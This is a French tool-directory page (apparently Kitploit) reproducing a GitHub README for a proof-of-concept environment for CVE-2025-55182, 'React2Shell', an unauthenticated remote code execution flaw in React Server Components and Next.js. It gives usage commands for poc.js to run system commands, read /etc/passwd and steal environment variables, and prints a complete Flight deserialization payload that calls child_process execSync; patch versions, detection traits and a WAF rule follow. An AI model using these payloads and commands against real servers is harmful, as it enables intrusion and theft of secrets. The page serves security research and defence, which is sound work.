Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 | Kitploit
Outils/GitHubGitHub/greenheadhq/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

Voir le dépôt
11il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement PoC CVE-2025-55182 (React2Shell)

Avertissement : Ce projet doit être utilisé uniquement à des fins de recherche en sécurité et d'éducation. Utiliser ce projet sur des systèmes tiers sans autorisation est illégal.

Aperçu de la vulnérabilité

ÉlémentDétails
ID CVECVE-2025-55182
AliasReact2Shell
Score CVSS10.0 (Critique - sévérité maximale)
Type de vulnérabilitéExécution de code à distance non authentifiée (RCE)
DécouvreurLachlan Davidson
Date de divulgation3 décembre 2025

Versions affectées

Paquets React

  • react-server-dom-webpack : 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel : 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack : 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Structure du projet

root@kitploit:~
CVE-2025-55182/
├── README.md                    # 이 파일
├── vulnerable-server/           # 취약한 Next.js 서버
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # 공격 PoC
│   ├── package.json
│   ├── poc.js                   # RCE 공격 스크립트
│   └── check-vulnerability.js   # 취약점 체크 스크립트
└── React2Shell-CVE-2025-55182-original-poc/  # 원본 PoC 참조

Démarrage rapide

1. Configuration et exécution du serveur vulnérable

root@kitploit:~
# 의존성 설치
cd vulnerable-server
npm install

# 개발 모드로 서버 실행 (포트 3000)
npm run dev

Le serveur sera disponible sur http://localhost:3000.

2. Exécution du PoC d'attaque

Dans un nouveau terminal :

root@kitploit:~
# 의존성 설치
cd exploit
npm install

# 취약점 체크
npm run check

# PoC 실행 (테스트 모드)
npm run exploit

Utilisation du PoC d'attaque

Test de base (console.log)

root@kitploit:~
node poc.js -m test

Lancement de la calculatrice (preuve RCE classique)

root@kitploit:~
# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Exécution de commandes système (RCE)

root@kitploit:~
# id 명령 실행
node poc.js -t http://localhost:3000 -m rce -c "id"

# 파일 읽기
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# 시스템 정보
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Vol de variables d'environnement

root@kitploit:~
node poc.js -t http://localhost:3000 -m env

Exécution de code personnalisé

root@kitploit:~
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Analyse technique

Cause racine de la vulnérabilité

Cela se produit lors de la désérialisation des données envoyées par le client dans le protocole Flight des React Server Components.

root@kitploit:~
requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE

Chaîne d'attaque

  1. Déclenchement de la désérialisation $@x - Obtention d'une référence à l'objet Chunk
  2. Exploitation du chaînage de promesses - Injection d'un objet thenable possédant une méthode .then
  3. Ré-entrée dans le parseur avec un faux objet Chunk - Définition de status: resolved_model
  4. Construction de la chaîne de gadgets - Utilisation de _response, _formData, etc.
  5. Obtention du constructeur Function - $1:constructor:constructor
  6. Exécution de code arbitraire - Lancement de new Function(악성코드)

Structure de la charge utile (payload)

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Méthodes de correction

Mise à niveau de Next.js

root@kitploit:~
# 15.0.x 사용자
npm install [email protected]

# 15.1.x 사용자
npm install [email protected]

# 15.2.x 사용자
npm install [email protected]

Mise à niveau des paquets React

root@kitploit:~
npm install [email protected]
npm install [email protected]
npm install [email protected]

Méthodes de détection

Caractéristiques des requêtes HTTP

  • Requête POST
  • Présence de l'en-tête Next-Action
  • Format multipart/form-data
  • Présence de motifs tels que $@, resolved_model, constructor dans le corps

Exemple de règle WAF

root@kitploit:~
# 의심스러운 Flight 페이로드 탐지
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

Références

  • Blog officiel de React
  • PoC original (Lachlan Davidson)
  • Analyse de Datadog Security Labs
  • Analyse de Wiz

Licence

Ce projet est fourni uniquement à des fins éducatives et de recherche. Toute utilisation à des fins malveillantes est interdite.


Attention : Si vous découvrez cette vulnérabilité dans un environnement réel, appliquez le correctif immédiatement. En cas d'attaque confirmée, signalez-la à l'équipe de sécurité et menez une enquête sur l'incident.

Télécharger l’outil